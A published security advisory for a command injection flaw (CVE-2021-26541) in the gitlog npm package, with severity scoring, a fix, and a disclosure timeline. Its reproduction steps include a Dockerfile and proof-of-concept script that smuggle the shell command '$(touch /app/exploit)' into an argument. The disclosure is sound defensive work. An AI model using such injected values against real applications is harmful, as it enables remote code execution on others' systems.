---
title: "CX-2020-4301"
date: "2021-01-06T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4301/"
---

# CX-2020-4301

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Jan 6, 2021

CVE-2021-26541  **Published:** Jan 6, 2021

9.8 Critical Severity javascript node nodejs npm RCE typescript

RM Ron Masas  Reported by Checkmarx Zero

Details Overview

## Summary

The `gitlog` function in `src/index.ts` has a command injection vulnerability.

Clients of the `gitlog` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

## Product

gitlog version 4.0.3

## Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

## Steps to reproduce

1. In a new folder create the following files:

```dockerfile
# Dockerfile
FROM node:10-slim
WORKDIR /app
RUN npm i [email protected]
COPY poc.js /app/poc.js
ENTRYPOINT ls -l /app && node poc.js && ls -l /app
```

```js
// poc.js
const gitlog = require('gitlog').default;
try {
    gitlog({ repo: '/app', number: '$(touch /app/exploit)' });
} catch (err) {
    // ignore
}
```

2. Run `docker build . -t poc`
3. Run `docker start poc`

### Expected result:

A file named `exploit` has been created

```
total 12
drwxr-xr-x 6 root root 4096 Dec 15 13:08 node_modules
-rw-r--r-- 1 root root 1149 Dec 15 13:08 package-lock.json
-rwxr-xr-x 1 root root  166 Dec 15 13:09 poc.js
/bin/sh: 1: git: not found
total 12
-rw-r--r-- 1 root root    0 Dec 15 13:09 exploit
drwxr-xr-x 6 root root 4096 Dec 15 13:08 node_modules
-rw-r--r-- 1 root root 1149 Dec 15 13:08 package-lock.json
-rwxr-xr-x 1 root root  166 Dec 15 13:09 poc.js
```

## Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use `child_process.execFile` instead of `child_process.exec`.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [@ronmasas (Ron Masas)](https://twitter.com/ronmasas).

## Resources

1. [ba1bdee](https://github.com/domharrington/node-gitlog/commit/ba1bdee27e99a61f3f23a55158b8fda2e42edcd4)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Dec 15, 2020 Notified developer
2. Fixed Jan 6, 2021 [\[email protected\]](https://checkmarx.com/cdn-cgi/l/email-protection) was released

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)